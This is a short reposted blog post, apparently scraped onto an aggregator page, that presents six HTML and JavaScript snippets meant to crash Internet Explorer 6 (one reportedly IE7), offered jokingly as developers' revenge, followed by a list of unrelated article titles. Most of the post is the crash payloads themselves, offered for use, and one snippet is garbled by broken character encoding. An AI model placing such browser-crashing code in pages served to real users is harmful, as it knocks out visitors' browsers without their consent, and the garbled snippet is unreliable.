6 html and javascript codes to crash IE6
来源:互联网 发布:怎么自学英语口语知乎 编辑:程序博客网 时间:2024/06/05 14:24
Who doesn’t hate IE6? Sadly, developers have to deal with that obsolete browser due to the still important amount of people using it.
Here is a small non-exhaustive list of html and Javascript codes that will totally crash IE.
After all, this browser is such a pain for developers, that we have the right to avenge us from time to time;)
Let’s start with the longest of all:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html> <head> <title>CRASH-IE</title> <style type="text/css"> html, body { overflow: hidden; scrollbar-base-color: #330066; } .crash { position:absolute; left:200px; top:200px; width:200px; } </style> <script type="text/javascript"> function galgenfrist() { window.setTimeout('crashIE();',1000); } function crashIE() { var moveNode = document.getElementById("move"); if(moveNode) { moveNode.style.top = "100px"; moveNode.style.left = "200px"; } } </script></head> <body onload="galgenfrist();"> <h1>CRASH-IE</h1> <div id="move" class="crash"> <table> <tbody> <tr> <td> <textarea></textarea> </td> </tr> </tbody> </table> </div> </body> </html>
Javascript and IE6, a true love story…
<script>for (x in document.write) { document.write(x);}</script>
This one was discover last year:
<style>*{position:relative}</style><table><input></table>
Anti-IE Javascript strikes back!
<body onLoad=â€window()â€>
Now my favorite: 11 symbols and…bang
<STYLE>@;/*
This one is the only one I know which make IE7 crash:
function getX( oElement ) { var iReturnValue = 0; while( oElement != null ) { iReturnValue += oElement.offsetLeft; oElement = oElement.offsetParent; } return iReturnValue;}
Have some nice crashs
- 6 html and javascript codes to crash IE6
- Javascript Codes
- JavaScript and HTML Tricks
- How to use HttpWebRequest and RegularExpressions to crash website
- Javascript Char Codes (Key Codes)
- HTML TO JS ,HTML TO JAVASCRIPT
- How to read Android crash log and stack trace
- How to read Android crash log and stack trace
- How to store and analyze Kernel Crash Dumps
- How to read Android crash log and stack trace
- How to read Android crash log and stack trace
- How to read Android crash log and stack trace
- How to read Android crash log and stack trace
- How to read Android crash log and stack trace
- How to read Android crash log and stack trace
- Common HTML Error Codes
- HTML character codes
- HTML Language Codes
- RAR 高级命令linux/unix
- AIX小型机、DS系列磁盘阵列-命令
- 分页控件哦
- asp.net 不用控件 循环输出数据库数据的方法
- 轻音乐
- 6 html and javascript codes to crash IE6
- Java常用工具包 Jodd 3.3
- Android_SDK: Unable to resolve target 'android-3'
- 数据结构-超强超实用高精度模板之高精度bign类与高精度运算符重载
- intrin.h(136): error C2059: 语法错误
- Configuring Fedora Linux Remote Access using SSH (openssh-server, openssh)
- 黑马程序员_IO
- CMD命令大全
- 我国需加快制定云计算标准